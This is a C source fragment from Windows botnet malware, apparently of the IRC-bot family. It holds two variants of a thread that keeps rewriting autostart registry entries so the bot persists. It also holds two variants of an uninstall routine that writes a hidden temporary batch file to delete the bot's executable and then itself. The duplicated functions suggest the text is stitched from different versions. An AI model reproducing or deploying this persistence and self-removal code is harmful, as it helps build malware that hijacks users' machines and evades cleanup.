DWORD WINAPI AutoRegistry(LPVOID param)
{
char *nfilename = (char *)param;
while (1) {
AutoStartRegs(nfilename);
Sleep(registry_delay);
}
return 0;
}
// function for removing the bot's registry entries and executable
void uninstall(void)
{
char cmdline[256], tcmdline[256],
cfilename[MAX_PATH], batfile[MAX_PATH], tempdir[MAX_PATH];
// remove our registry entries
if ((AutoStart) && !(noadvapi32))
AutoStartRegs();
GetTempPath(sizeof(tempdir), tempdir);
sprintf(batfile, "%s\\r.bat", tempdir);
HANDLE f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
if (f > (HANDLE)0) {
DWORD r;
// FIX ME: this won't work on NT correctly. The command line code is in place
// for melt, this is something we need to finish for uninstall.
// write a batch file to remove our executable once we close
WriteFile(f, "@echo off\r\n"
":start\r\nif not exist \"\"%1\"\" goto done\r\n"
"del /F \"\"%1\"\"\r\n"
"del \"\"%1\"\"\r\n"
"goto start\r\n"
":done\r\n"
"del /F %temp%\r.bat\r\n"
"del %temp%\r.bat\r\n", 105, &r, NULL);
CloseHandle(f);
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
memset(&pinfo, 0, sizeof(pinfo));
memset(&sinfo, 0, sizeof(sinfo));
sinfo.lpTitle = "";
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESHOWWINDOW;
sinfo.wShowWindow = SW_HIDE;
GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));// get our file name
sprintf(tcmdline, "%%comspec%% /c %s %s", batfile, cfilename); // build command line
ExpandEnvironmentStrings(tcmdline, cmdline, sizeof(cmdline)); // put the name of the command interpreter into the command line
// execute the batch file
CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo);
}
return;
}
DWORD WINAPI AutoRegistryThread(LPVOID param)
{
int threadnum = (int)param;
char fname[_MAX_FNAME],ext[_MAX_EXT],rfilename[MAX_PATH],cfilename[MAX_PATH];
GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));
_splitpath(cfilename, NULL, NULL, fname, ext);
_snprintf(rfilename, sizeof(rfilename), "%s%s", fname, ext);
while (1) {
AutoStartRegs(rfilename);
Sleep(registry_delay);
}
clearthread(threadnum);
ExitThread(0);
}
void uninstall(void)
{
char buffer[1024], cmdline[MAX_PATH], botfile[MAX_PATH], batfile[MAX_PATH];
if ((AutoStart) && !(noadvapi32))
AutoStartRegs();
killthreadall();
GetTempPath(sizeof(buffer), buffer);
sprintf(batfile, "%sdel.bat", buffer);
HANDLE f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
if (f > (HANDLE)0) {
DWORD r;
sprintf(buffer,"@echo off\r\n"
":repeat\r\n"
"del \"%%1\"\r\n"
"if exist \"%%1\" goto repeat\r\n"
"del \"%s\"", batfile);
WriteFile(f, buffer, strlen(buffer), &r, NULL);
CloseHandle(f);
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
memset(&pinfo, 0, sizeof(pinfo));
memset(&sinfo, 0, sizeof(sinfo));
sinfo.lpTitle = "";
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESHOWWINDOW;
sinfo.wShowWindow = SW_HIDE;
GetModuleFileName(GetModuleHandle(NULL), botfile, sizeof(botfile));
if (GetFileAttributes(botfile) != INVALID_FILE_ATTRIBUTES)
SetFileAttributes(botfile,FILE_ATTRIBUTE_NORMAL);
sprintf(buffer, "%%comspec%% /c %s %s", batfile, botfile);
ExpandEnvironmentStrings(buffer, cmdline, sizeof(cmdline));
CreateProcess(NULL, cmdline, NULL, NULL, TRUE, BELOW_NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo);
}
return;
}
